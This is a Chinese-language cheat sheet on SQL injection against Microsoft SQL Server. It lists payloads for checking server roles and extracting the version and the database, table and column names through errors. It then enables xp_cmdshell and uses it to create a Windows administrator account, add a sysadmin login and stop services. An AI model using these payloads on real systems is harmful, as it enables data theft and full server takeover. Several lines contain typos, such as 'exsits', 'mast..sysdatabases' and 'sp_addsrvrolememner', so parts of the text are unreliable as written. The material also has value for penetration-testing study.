Sql注入之Mssql
Sql注入之Mssql
数据库介绍
Mssql数据库是由微软公司开发的,中小型数据库,经常搭配asp使用。
数据库权限
- sa权限:数据库操作,文件管理,命令执行,注册表读取等system
- db权限:文件管理,数据库操作等users-administrators
- public权限:数据库操作guest-users
判断数据库
and exsits (select * from sysobjects)>0
权限判断
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_SRVROLEMEMBER('db_owner'));--
版本判断
and 1=(select @@version)
原理解释:@@version查询到的为字符类型但是让它“=1”(转化为整数类型),就会报错输出@@version的信息。
拓展:
and 1=(select db_name()) #查询数据库名称
获取用户数据库名
系统一共自带4个数据库,用来记录数据库的一些信息。
这四个数据库分别用dbid=1,2,3,4来标记
- 方法一
and 1=(select top 1 name from master..sysdatabases where dbid>4)
爆出一个库名假如为db,则运用如下语句可以继续爆库名
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<>'db')
依次运用就可以爆出全部用户数据库名
- 方法二
运用如下语句爆出第二个数据库名
and 1=(select top 1 name from master..sysdatabases where dbid>5)
爆出第三个数据库名
and 1=(select top 1 name from master..sysdatabases where dbid>6)
依次运用即可爆出全部库名
- 方法三
运用如下命令可以爆出全部数据库名
and 1=(select name from mast..sysdatabases for xml path)
获取数据库表名
- 方法一
xtype='U'表示查询的为表
and 1=(select top 1 name from sysobjects where xtype='U' )
假如爆出来的第一个表名为tables,运用如下语句爆出第二个表名
and 1=(select top 1 name from sysobjects where xtype='U' and name<>tables)
依次运用爆出全部表名
- 方法二
运用如下命令爆出全部表名
and 1=(select name from sysobjects for xml path)
获取列名
获取user表的列名
and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='user'))
and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='user')and name<>id)
依次获取全部列名
SA扩展存储攻击
判断命令扩展是否存在
- 判断是否可以使用xp_cmdshell
xtype=‘x’查询 扩展存储过程
and 1=(select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')
开启扩展
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
- 判断xp_regread
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
开启
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_regread',1;RECONFIGURE;
xp_cmdshell扩展应用
创建用户
exec master..xp_cmdshell'net user admin admin /add'
将用户加入管理员组
exec master..xp_cmdshell'net localgroup administrators admin /add'
其他
- 添加一个SA权限的用户test:
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolememner test,sysadmin
- 激活或停止某个服务
exec master..xp_servicecontrol 'stop',服务
exec master..xp_servicecontrol 'start',服务